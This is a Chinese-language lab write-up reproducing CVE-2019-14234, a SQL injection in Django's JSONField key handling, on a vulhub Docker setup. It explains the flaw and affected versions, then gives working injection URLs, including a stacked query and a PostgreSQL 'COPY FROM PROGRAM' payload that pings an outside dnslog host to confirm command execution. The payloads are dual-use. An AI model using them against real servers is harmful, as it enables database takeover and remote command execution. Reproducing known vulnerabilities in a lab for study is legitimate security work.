【研究】CVE-2019-14234 Django JSONField SQL注入漏洞复现

1.环境

环境
直接使用vulhub的docker环境搭建
vulhub/django/CVE-2019-14234/

2.原理

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。

Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。
通过JSONField类获得KeyTransform类并生成sql语句的位置。
其中key_name是可控的字符串,最终生成的语句是WHERE (field->’[key_name]’) =
‘value’,因此可以进行SQL注入。
在这里插入图片描述

3.影响版本

Django
1.11.x before 1.11.23
2.1.x before 2.1.11
2.2.x before 2.2.4

4.利用过程

访问http://ip:8000/admin/login/\?next=/admin/
输入用户名admin ,密码a123123123
在这里插入图片描述

进入漏洞界面

然后访问
http://ip:8000/admin/vuln/collection/

在这里插入图片描述

手工测试看看

1
http://10.77.0.130:8000/admin/vuln/collection/?detail__a'b=123

报错出来 截断了
在这里插入图片描述

命令执行语句

1
http://10.77.0.130:8000/admin/vuln/collection/?detail__title')='1' or 1=1 ;create table cmd_exec(cmd_output text)-- 

![在这里插入图片描述](/images/20191120091710227.png
这里应该是执行了,试一下DNSLog

1
http://10.77.0.130:8000/admin/vuln/collection/?detail__title')='1' or 1=1 ;copy cmd_exec FROM PROGRAM 'ping v62ce2.dnslog.cn'-- 

ok成功了
在这里插入图片描述